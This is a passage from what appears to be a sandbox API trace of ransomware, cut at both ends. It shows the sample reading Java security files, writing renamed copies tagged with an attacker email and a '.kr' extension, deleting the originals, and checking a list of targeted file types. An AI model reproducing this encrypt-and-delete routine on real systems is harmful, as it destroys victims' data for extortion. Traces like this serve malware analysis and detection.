(lpString1=".0_144\\lib\\security\\blacklist", lpString2=".kr") returned -1 [0182.899] lstrlenW (lpString="blacklist") returned 9 [0182.899] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0182.902] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=4054) returned 1 [0182.902] CloseHandle (hObject=0x408) returned 1 [0182.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist")) returned 0x20 [0182.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0182.902] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0182.902] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.902] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.902] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0182.904] GetLastError () returned 0x0 [0182.904] ReadFile (in: hFile=0x408, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0xfd6, lpOverlapped=0x0) returned 1 [0182.905] WriteFile (in: hFile=0x3e0, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0xfe0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0xfe0, lpOverlapped=0x0) returned 1 [0182.906] ReadFile (in: hFile=0x408, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.906] WriteFile (in: hFile=0x3e0, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0xe6, lpOverlapped=0x0) returned 1 [0182.907] SetEndOfFile (hFile=0x3e0) returned 1 [0182.907] CloseHandle (hObject=0x3e0) returned 1 [0182.907] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.907] SetEndOfFile (hFile=0x408) returned 1 [0182.910] CloseHandle (hObject=0x408) returned 1 [0182.910] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0182.910] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist")) returned 1 [0182.911] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0182.911] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0182.911] lstrlenW (lpString=".doc") returned 4 [0182.911] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1 [0182.911] lstrlenW (lpString=".docx") returned 5 [0182.911] lstrcmpiW (lpString1=".docx", lpString2="klist") returned -1 [0182.911] lstrlenW (lpString=".pdf") returned 4 [0182.911] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1 [0182.911] lstrlenW (lpString=".xls") returned 4 [0182.911] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1 [0182.911] lstrlenW (lpString=".xlsx") returned 5 [0182.911] lstrcmpiW (lpString1=".xlsx", lpString2="klist") returned -1 [0182.911] lstrlenW (lpString=".ppt") returned 4 [0182.911] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1 [0182.911] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0182.911] lstrlenW (lpString=".zip") returned 4 [0182.911] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1 [0182.911] lstrlenW (lpString=".rar") returned 4 [0182.911] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1 [0182.911] lstrlenW (lpString=".bz2") returned 4 [0182.911] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1 [0182.912] lstrlenW (lpString=".7z") returned 3 [0182.912] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1 [0182.912] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0182.912] lstrlenW (lpString=".dbf") returned 4 [0182.912] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1 [0182.912] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0182.912] lstrlenW (lpString=".1cd") returned 4 [0182.912] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1 [0182.912] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0182.912] lstrlenW (lpString=".jpg") returned 4 [0182.912] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1 [0182.912] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0182.912] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0182.912] lstrlenW (lpString=".doc") returned 4 [0182.912] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1 [0182.912] lstrlenW (lpString=".docx") returned 5 [0182.912] lstrcmpiW (lpString1=".docx", lpString2="klist") returned -1 [0182.912] lstrlenW (lpString=".pdf") returned 4 [0182.912] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1 [0182.912] lstrlenW (lpString=".xls") returned 4 [0182.912] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1 [0182.912] lstrlenW (lpString=".xlsx") returned 5 [0182.912] lstrcmpiW (lpString1=".xlsx", lpString2="klist") returned -1 [0182.912] lstrlenW (lpString=".ppt") returned 4 [0182.912] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1 [0182.912] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0182.912] lstrlenW (lpString=".zip") returned 4 [0182.912] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1 [0182.912] lstrlenW (lpString=".rar") returned 4 [0182.912] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1 [0182.912] lstrlenW (lpString=".bz2") returned 4 [0182.912] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1 [0182.913] lstrlenW (lpString=".7z") returned 3 [0182.913] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1 [0182.913] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0182.913] lstrlenW (lpString=".dbf") returned 4 [0182.913] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1 [0182.913] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0182.913] lstrlenW (lpString=".1cd") returned 4 [0182.913] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1 [0182.913] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0182.913] lstrlenW (lpString=".jpg") returned 4 [0182.913] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1 [0182.913] lstrcmpiW (lpString1=".certs", lpString2=".kr") returned -1 [0182.913] lstrlenW (lpString="blacklisted.certs") returned 17 [0182.913] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0182.914] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=1253) returned 1 [0182.914] CloseHandle (hObject=0x408) returned 1 [0182.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs")) returned 0x20 [0182.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0182.914] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0182.914] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.914] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.914] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0182.915] GetLastError () returned 0x0 [0182.915] ReadFile (in: hFile=0x408, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x4e5, lpOverlapped=0x0) returned 1 [0182.916] WriteFile (in: hFile=0x3e0, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0182.917] ReadFile (in: hFile=0x408, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.917] WriteFile (in: hFile=0x3e0, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0xf6, lpOverlapped=0x0) returned 1 [0182.918] SetEndOfFile (hFile=0x3e0) returned 1 [0182.918] CloseHandle (hObject=0x3e0) returned 1 [0182.918] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.918] SetEndOfFile (hFile=0x408) returned 1 [0183.074] CloseHandle (hObject=0x408) returned 1 [0183.074] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0183.075] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs")) returned 1 [0183.075] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0183.075] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0183.075] lstrlenW (lpString=".doc") returned 4 [0183.075] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1 [0183.075] lstrlenW (lpString=".docx") returned 5 [0183.075] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1 [0183.075] lstrlenW (lpString=".pdf") returned 4 [0183.076] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1 [0183.076] lstrlenW (lpString=".xls") returned 4 [0183.076] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1 [0183.076] lstrlenW (lpString=".xlsx") returned 5 [0183.076] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1 [0183.076] lstrlenW (lpString=".ppt") returned 4 [0183.076] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1 [0183.076] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0183.076] lstrlenW (lpString=".zip") returned 4 [0183.076] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1 [0183.076] lstrlenW (lpString=".rar") returned 4 [0183.076] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1 [0183.076] lstrlenW (lpString=".bz2") returned 4 [0183.076] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1 [0183.076] lstrlenW (lpString=".7z") returned 3 [0183.076] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1 [0183.076] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0183.076] lstrlenW (lpString=".dbf") returned 4 [0183.076] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1 [0183.076] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0183.076] lstrlenW (lpString=".1cd") returned 4 [0183.076] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1 [0183.076] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0183.076] lstrlenW (lpString=".jpg") returned 4 [0183.076] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1 [0183.076] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0183.076] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0183.076] lstrlenW (lpString=".doc") returned 4 [0183.076] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1 [0183.076] lstrlenW (lpString=".docx") returned 5 [0183.077] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1 [0183.077] lstrlenW (lpString=".pdf") returned 4 [0183.077] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1 [0183.077] lstrlenW (lpString=".xls") returned 4 [0183.077] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1 [0183.077] lstrlenW (lpString=".xlsx") returned 5 [0183.077] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1 [0183.077] lstrlenW (lpString=".ppt") returned 4 [0183.077] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1 [0183.077] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0183.077] lstrlenW (lpString=".zip") returned 4 [0183.077] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1 [0183.077] lstrlenW (lpString=".rar") returned 4 [0183.077] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1 [0183.077] lstrlenW (lpString=".bz2") returned 4 [0183.077] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1 [0183.077] lstrlenW (lpString=".7z") returned 3 [0183.077] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1 [0183.077] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0183.077] lstrlenW (lpString=".dbf") returned 4 [0183.077] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1 [0183.077] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0183.077] lstrlenW (lpString=".1cd") returned 4 [0183.077] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1 [0183.077] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0183.077] lstrlenW (lpString=".jpg") returned 4 [0183.077] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1 [0183.078] lstrcmpiW (lpString1=".0_144\\lib\\security\\cacerts", lpString2=".kr") returned -1 [0183.078] lstrlenW (lpString="cacerts") returned 7 [0183.078] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0183.078] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=114923) returned 1 [0183.078] CloseHandle (hObject=0x408) returned 1 [0183.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts")) returned 0x20 [0183.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0183.079] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0183.079] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.079] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.079] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0183.079] GetLastError () returned 0x0 [0183.080] ReadFile (in: hFile=0x408, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x1c0eb, lpOverlapped=0x0) returned 1 [0183.084] WriteFile (in: hFile=0x3e0, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x1c0f0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x1c0f0, lpOverlapped=0x0) returned 1 [0183.087] ReadFile (in: hFile=0x408, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0183.087] WriteFile (in: hFile=0x3e0, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0xe2, lpOverlapped=0x0) returned 1 [0183.087] SetEndOfFile (hFile=0x3e0) returned 1 [0183.087] CloseHandle (hObject=0x3e0) returned 1 [0183.087] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.088] SetEndOfFile (hFile=0x408) returned 1 [0183.097] CloseHandle (hObject=0x408) returned 1 [0183.097] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0183.097] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts")) returned 1 [0183.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0183.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0183.098] lstrlenW (lpString=".doc") returned 4 [0183.098] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1 [0183.098] lstrlenW (lpString=".docx") returned 5 [0183.098] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1 [0183.098] lstrlenW (lpString=".pdf") returned 4 [0183.098] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1 [0183.098] lstrlenW (lpString=".xls") returned 4 [0183.098] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1 [0183.098] lstrlenW (lpString=".xlsx") returned 5 [0183.098] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1 [0183.098] lstrlenW (lpString=".ppt") returned 4 [0183.098] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1 [0183.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0183.098] lstrlenW (lpString=".zip") returned 4 [0183.098] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1 [0183.098] lstrlenW (lpString=".rar") returned 4 [0183.098] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1 [0183.098] lstrlenW (lpString=".bz2") returned 4 [0183.098] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1 [0183.098] lstrlenW (lpString=".7z") returned 3 [0183.098] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1 [0183.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0183.098] lstrlenW (lpString=".dbf") returned 4 [0183.099] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1 [0183.099] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0183.099] lstrlenW (lpString=".1cd") returned 4 [0183.099] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1 [0183.099] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0183.099] lstrlenW (lpString=".jpg") returned 4 [0183.099] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1 [0183.099] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0183.099] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0183.099] lstrlenW (lpString=".doc") returned 4 [0183.099] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1 [0183.099] lstrlenW (lpString=".docx") returned 5 [0183.099] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1 [0183.099] lstrlenW (lpString=".pdf") returned 4 [0183.099] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1 [0183.099] lstrlenW (lpString=".xls") returned 4 [0183.099] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1 [0183.099] lstrlenW (lpString=".xlsx") returned 5 [0183.099] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1 [0183.099] lstrlenW (lpString=".ppt") returned 4 [0183.099] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1 [0183.099] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0183.099] lstrlenW (lpString=".zip") returned 4 [0183.099] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1 [0183.099] lstrlenW (lpString=".rar") returned 4 [0183.099] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1 [0183.099] lstrlenW (lpString=".bz2") returned 4 [0183.099] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1 [0183.099] lstrlenW (lpString=".7z") returned 3 [0183.099] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1 [0183.099] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0183.100] lstrlenW (lpString=".dbf") returned 4 [0183.100] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1 [0183.100] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0183.100] lstrlenW (lpString=".1cd") returned 4 [0183.100] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1 [0183.100] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0183.100] lstrlenW (lpString=".jpg") returned 4 [0183.100] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1 [0183.100] lstrcmpiW (lpString1=".policy", lpString2=".kr") returned 1 [0183.100] lstrlenW (lpString="java.policy") returned 11 [0183.100] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0183.101] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=2466) returned 1 [0183.101] CloseHandle (hObject=0x408) returned 1 [0183.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy")) returned 0x20 [0183.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0183.101] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0183.102] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.102] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.102] CreateFileW 